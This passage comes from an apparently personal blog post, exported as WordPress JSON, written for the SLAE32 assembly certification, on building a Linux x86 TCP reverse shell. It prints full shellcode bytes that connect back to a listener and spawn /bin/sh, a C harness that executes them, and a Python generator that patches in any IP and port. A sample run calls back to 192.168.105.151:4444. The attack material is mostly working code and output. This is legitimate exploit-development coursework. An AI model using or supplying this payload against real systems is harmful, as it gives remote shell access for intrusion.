title=\"\">\n#include&lt;stdio.h&gt;\n#include&lt;string.h&gt;\n\nunsigned char code&#x5B;] = \\\n&quot;SHELLCODE&quot;;\n\nint main()\n{\n        printf(&quot;Shellcode Length: %d\\n&quot;, strlen(code));\n\n        int (*ret)() = (int(*)())code;\n\n        ret();\n\n}\n<\/pre><\/div>\n\n\n<p>To obtain the raw shellcode bytes of our TCP reverse shell, we use an excellent <strong>objdump<\/strong> one liner from <a href=\"https:\/\/www.commandlinefu.com\/commands\/view\/6051\/get-all-shellcode-on-binary-file-from-objdump\">CommandlineFu<\/a>.<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\nobjdump -d tcp_reverse_shell_x86 |grep '&#x5B;0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\\t' ' '|sed 's\/ $\/\/g'|sed 's\/ \/\\\\x\/g'|paste -d '' -s |sed 's\/^\/&quot;\/'|sed 's\/$\/&quot;\/g'\n&quot;\\x31\\xc0\\xb0\\x66\\x31\\xdb\\xb3\\x01\\x31\\xc9\\x51\\x6a\\x01\\x6a\\x02\\x89\\xe1\\xcd\\x80\\x31\\xd2\\x89\\xc2\\x31\\xc0\\xb0\\x66\\x31\\xdb\\xbb\\x03\\x00\\x00\\x00\\x31\\xff\\xbf\\x3f\\x57\\x96\\x68\\x83\\xf7\\xff\\x31\\xc9\\x57\\x66\\x68\\x11\\x5c\\x66\\x6a\\x02\\x89\\xe6\\x6a\\x10\\x56\\x52\\x89\\xe1\\xcd\\x80\\x52\\xb0\\x3f\\x5b\\x31\\xc9\\xcd\\x80\\xb0\\x3f\\xb1\\x01\\xcd\\x80\\xb0\\x3f\\xb1\\x02\\xcd\\x80\\xb0\\x0b\\x31\\xdb\\x53\\x68\\x6e\\x2f\\x73\\x68\\x68\\x2f\\x2f\\x62\\x69\\x89\\xe3\\x31\\xc9\\x31\\xd2\\xcd\\x80&quot;\n<\/pre><\/div>\n\n\n<p>We embed our shellcode into the <strong>code<\/strong> variable of our C program:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: cpp; title: ; notranslate\" title=\"\">\n#include&lt;stdio.h&gt;\n#include&lt;string.h&gt;\n\nunsigned char code&#x5B;] = \\\n&quot;\\x31\\xc0\\xb0\\x66\\x31\\xdb\\xb3\\x01\\x31\\xc9\\x51\\x6a\\x01\\x6a\\x02\\x89\\xe1\\xcd\\x80\\x31\\xd2\\x89\\xc2\\x31\\xc0\\xb0\\x66\\x31\\xdb\\xbb\\x03\\x00\\x00\\x00\\x31\\xff\\xbf\\x3f\\x57\\x96\\x68\\x83\\xf7\\xff\\x31\\xc9\\x57\\x66\\x68\\x11\\x5c\\x66\\x6a\\x02\\x89\\xe6\\x6a\\x10\\x56\\x52\\x89\\xe1\\xcd\\x80\\x52\\xb0\\x3f\\x5b\\x31\\xc9\\xcd\\x80\\xb0\\x3f\\xb1\\x01\\xcd\\x80\\xb0\\x3f\\xb1\\x02\\xcd\\x80\\xb0\\x0b\\x31\\xdb\\x53\\x68\\x6e\\x2f\\x73\\x68\\x68\\x2f\\x2f\\x62\\x69\\x89\\xe3\\x31\\xc9\\x31\\xd2\\xcd\\x80&quot;;\n\nint main()\n{\n        printf(&quot;Shellcode Length: %d\\n&quot;, strlen(code));\n\n        int (*ret)() = (int(*)())code;\n\n        ret();\n}\n<\/pre><\/div>\n\n\n<p>Finally, we can compile the C program using gcc:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\n\u250c\u2500\u2500(root\u327fkali)-&#x5B;\/home\/jack\/SLAE32\/Assignment 2: Linux x86 TCP Reverse Shell]\n\u2514\u2500# gcc -fno-stack-protector -z execstack shellcode.c -o shellcode\n<\/pre><\/div>\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/jacklgmcbride.co.uk\/blog\/wp-content\/uploads\/2022\/04\/Pasted-image-20220425230615.png\" alt=\"\"\/><\/figure>\n\n\n\n<p><\/p>\n\n\n\n<p>Finally, we can test the shellcode, confirming that we get a reverse shell on port tcp\/4444.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/jacklgmcbride.co.uk\/blog\/wp-content\/uploads\/2022\/04\/Pasted-image-20220425230723.png\" alt=\"\"\/><\/figure>\n\n\n\n<p><\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h3 class=\"wp-block-heading\">Modifying the address and port<\/h3>\n\n\n\n<p>In most cases, the user would want to be able to specify which port and address they want the reverse shell code to connect back to.<\/p>\n\n\n\n<p>To do this, we have written a Python wrapper script which takes 'ip address' and 'port' arguments and modifies the tcp_reverse_shell.nasm file to assemble the shellcode with the specified values. The script then assembles and outputs the shellcode to the console and performs cleanup of the created artifacts.<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: python; title: ; notranslate\" title=\"\">\nimport argparse\nimport sys\nimport os\nimport socket\n\ndef convert_args(address, port):\n\n        address = socket.inet_aton(address).hex()\n        le_address = bytearray.fromhex(address)\n        le_address.reverse()\n        address = &quot;0x{0}&quot;.format(''.join(format(x, '02x') for x in le_address))\n\n        address = hex(int(address, 16) ^ 0xffffffff)\n\n        port = hex(socket.htons(port))\n\n        return address, port\n\ndef set_args(address,port):\n\n        address, port = convert_args(address, port)\n        asm = open(&quot;tcp_reverse_shell_x86.nasm&quot;, 'rt')\n        data = asm.read()\n        data = data.replace('ADDRESS', address)\n        data = data.replace('PORT', port)\n        asm.close()\n        asm = open('tmp.nasm', 'wt')\n        asm.write(data)\n        asm.close()\n\ndef gen_shellcode():\n        stream = os.popen(&quot;&quot;&quot;objdump -d tcp_reverse_shell_x86 |grep '&#x5B;0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\\t' ' '|sed 's\/ $\/\/g'|sed 's\/ \/\\\\\\\\x\/g'|paste -d '' -s |sed 's\/^\/&quot;\/'|sed 's\/$\/&quot;\/g'&quot;&quot;&quot;)\n        shellcode = stream.read().rstrip()\n        return shellcode\n\ndef print_shellcode(shellcode, address, port):\n        print(&quot;&#x5B;*] Generating shellcode for x86 TCP reverse shell on {0}:{1}&quot;.format(address, port))\n        print(&quot;&#x5B;*] Shellcode length: %d bytes&quot; % ((len(shellcode.replace(&quot;\\\\x&quot;, &quot;&quot;)) \/2)-1))\n        print(&quot;&#x5B;*] Checking for NULL bytes...\\n%s&quot; % (&quot;&#x5B;-] NULL bytes found.&quot; if &quot;00&quot; in shellcode else &quot;&#x5B;+] No NULL bytes detected!&quot;))\n        print(shellcode)\n\ndef main():\n\n        parser = argparse.ArgumentParser(description='Generate x86 TCP reverse shell shellcode.')\n        parser.add_argument('-l', '--lhost', type=str, help='Remote IPv4 address for TCP reverse shell to connect to.')\n        parser.add_argument('-p', '--port', type=int, help='Remote port for TCP reverse shell to connect to.')\n\n        args = parser.parse_args()\n        if len(sys.argv) == 1:\n                parser.print_help()\n                sys.exit()\n\n        # Modify the host address and port in tcp_reverse_shell_x86.nasm\n        set_args(args.lhost, args.port)\n\n        # Link and assemble code\n        os.system('nasm -f elf32 -o tcp_reverse_shell_x86.o tmp.nasm')\n        os.system('ld -o tcp_reverse_shell_x86 tcp_reverse_shell_x86.o')\n\n        # Dump the shellcode using objdump\n        shellcode = gen_shellcode()\n\n        # Print shellcode\n        print_shellcode(shellcode, args.lhost, args.port)\n\n        # Cleanup\n        os.system('rm tmp.nasm')\n        os.system('rm tcp_reverse_shell_x86.o')\n        os.system('rm tcp_reverse_shell_x86')\n\nif __name__ == &quot;__main__&quot;:\n        main()\n<\/pre><\/div>\n\n\n<p>We generate our shellcode for a reverse shell on TCP port 4444:<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/jacklgmcbride.co.uk\/blog\/wp-content\/uploads\/2022\/04\/Pasted-image-20220426004710.png\" alt=\"\"\/><\/figure>\n\n\n\n<p><\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\n\u250c\u2500\u2500(root\u327fkali)-&#x5B;\/home\/jack\/SLAE32\/Assignment 2: Linux x86 TCP Reverse Shell]\n\u2514\u2500# python3 tcp_reverse_shell_x86.py -l 192.168.105.151 -p 4444\n&#x5B;*] Generating shellcode for x86 TCP reverse shell on 192.168.105.151:4444\n&#x5B;*] Shellcode length: 104 bytes\n&#x5B;*] Checking for NULL bytes...\n&#x5B;+] No NULL bytes detected!\n&quot;\\x31\\xc0\\xb0\\x66\\x31\\xdb\\xb3\\x01\\x31\\xc9\\x51\\x6a\\x01\\x6a\\x02\\x89\\xe1\\xcd\\x80\\x31\\xd2\\x89\\xc2\\x31\\xc0\\xb0\\x66\\x31\\xdb\\xb3\\x03\\x31\\xff\\xbf\\x3f\\x57\\x96\\x68\\x83\\xf7\\xff\\x31\\xc9\\x57\\x66\\x68\\x11\\x5c\\x66\\x6a\\x02\\x89\\xe6\\x6a\\x10\\x56\\x52\\x89\\xe1\\xcd\\x80\\x52\\xb0\\x3f\\x5b\\x31\\xc9\\xcd\\x80\\xb0\\x3f\\xb1\\x01\\xcd\\x80\\xb0\\x3f\\xb1\\x02\\xcd\\x80\\xb0\\x0b\\x31\\xdb\\x53\\x68\\x6e\\x2f\\x73\\x68\\x68\\x2f\\x2f\\x62\\x69\\x89\\xe3\\x31\\xc9\\x31\\xd2\\xcd\\x80&quot;\n<\/pre><\/div>\n\n\n<p>We can now paste the generated shellcode into our shellcode.c program:<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/jacklgmcbride.co.uk\/blog\/wp-content\/uploads\/2022\/04\/Pasted-image-20220426004758.png\" alt=\"\"\/><\/figure>\n\n\n\n<p><\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: cpp; title: ; notranslate\" title=\"\">\n#include&lt;stdio.h&gt;\n#include&lt;string.h&gt;\n\nunsigned char code&#x5B;] = \\\n&quot;\\x31\\xc0\\xb0\\x66\\x31\\xdb\\xb3\\x01\\x31\\xc9\\x51\\x6a\\x01\\x6a\\x02\\x89\\xe1\\xcd\\x80\\x31\\xd2\\x89\\xc2\\x31\\xc0\\xb0\\x66\\x31\\xdb\\xb3\\x03\\x31\\xff\\xbf\\x3f\\x57\\x96\\x68\\x83\\xf7\\xff\\x31\\xc9\\x57\\x66\\x68\\x11\\x5c\\x66\\x6a\\x02\\x89\\xe6\\x6a\\x10\\x56\\x52\\x89\\xe1\\xcd\\x80\\x52\\xb0\\x3f\\x5b\\x31\\xc9\\xcd\\x80\\xb0\\x3f\\xb1\\x01\\xcd\\x80\\xb0\\x3f\\xb1\\x02\\xcd\\x80\\xb0\\x0b\\x31\\xdb\\x53\\x68\\x6e\\x2f\\x73\\x68\\x68\\x2f\\x2f\\x62\\x69\\x89\\xe3\\x31\\xc9\\x31\\xd2\\xcd\\x80&quot;;\n\nint main()\n{\n        printf(&quot;Shellcode Length: %d\\n&quot;, strlen(code));\n\n        int (*ret)() = (int(*)())code;\n\n        ret();\n}\n<\/pre><\/div>\n\n\n<p>We compile the shellcode with gcc:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\n\u250c\u2500\u2500(root\u327fkali)-&#x5B;\/home\/jack\/SLAE32\/Assignment 2: Linux x86 TCP Reverse Shell]\n\u2514\u2500# gcc -fno-stack-protector -z execstack shellcode.c -o shellcode\n<\/pre><\/div>\n\n\n<p>We start a netcat listener and execute the shellcode program, which connects back to our listener on port 4444. Success!<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/jacklgmcbride.co.uk\/blog\/wp-content\/uploads\/2022\/04\/Pasted-image-20220426005003.png\" alt=\"\"\/><\/figure>\n\n\n\n<p><\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h3 class=\"wp-block-heading\">Code<\/h3>\n\n\n\n<p>The assembly, python and C source code for the above Linux x86 TCP reverse shell implementation can be found on my <a href=\"https:\/\/github.com\/war4uthor\/SLAE32\/tree\/main\/Assignment%202:%20Linux%20x86%20TCP%20Reverse%20Shell\">GitHub repository<\/a>.<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<p>This blog post has been created for completing the requirements of the <a href=\"https:\/\/www.pentesteracademy.com\/course?id=3\">SecurityTube Linux Assembly Expert<\/a> certification.<\/p>\n\n\n\n<p><strong>Student ID:<\/strong> PA-6483<\/p>\n\n\n\n<p>All code was tested on 32-bit Kali Linux:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\n\u250c\u2500\u2500(jack\u327fkali)-&#x5B;~\/SLAE32\/Assignment 2: TCP Reverse Shell]\n\u2514\u2500$ uname -a\nLinux kali 5.5.0-kali2-686-pae #1 SMP Debian 5.5.17-1kali1 (2020-04-21) i686 GNU\/Linux\n<\/pre><\/div>\n\n\n<p>In the next blog post, we will be covering how to implement custom egghunter shellcode in assembly.<\/p>\n\n\n\n<p>Thanks for reading!<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n","protected":false},"excerpt":{"rendered":"<p>In this blog post, we will be covering the process behind writing and analysing an x86 TCP reverse shell for Linux in assembly. This post follows on in the series of posts created for the SLAE32 certification course provided by Pentester Academy. Overview The code for the TCP reverse shell will consist of the following&hellip;<\/p>\n","protected":false},"author":1,"featured_media":305,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"footnotes":""},"categories":[29,6,30,26,28],"tags":[27],"class_list":["post-276","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-assembly","category-certifications","category-linux","category-reverse-engineering","category-shellcoding","tag-slae32"],"_links":{"self":[{"href":"https:\/\/jacklgmcbride.co.uk\/blog\/index.php\/wp-json\/wp\/v2\/posts\/276","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/jacklgmcbride.co.uk\/blog\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/jacklgmcbride.co.uk\/blog\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/jacklgmcbride.co.uk\/blog\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/jacklgmcbride.co.uk\/blog\/index.php\/wp-json\/wp\/v2\/comments?post=276"}],"version-history":[{"count":10,"href":"https:\/\/jacklgmcbride.co.uk\/blog\/index.php\/wp-json\/wp\/v2\/posts\/276\/revisions"}],"predecessor-version":[{"id":757,"href":"https:\/\/jacklgmcbride.co.uk\/blog\/index.php\/wp-json\/wp\/v2\/posts\/276\/revisions\/757"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/jacklgmcbride.co.uk\/blog\/index.php\/wp-json\/wp\/v2\/media\/305"}],"wp:attachment":[{"href":"https:\/\/jacklgmcbride.co.uk\/blog\/index.php\/wp-json\/wp\/v2\/media?parent=276"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/jacklgmcbride.co.uk\/blog\/index.php\/wp-json\/wp\/v2\/categories?post=276"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/jacklgmcbride.co.uk\/blog\/index.php\/wp-json\/wp\/v2\/tags?post=276"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}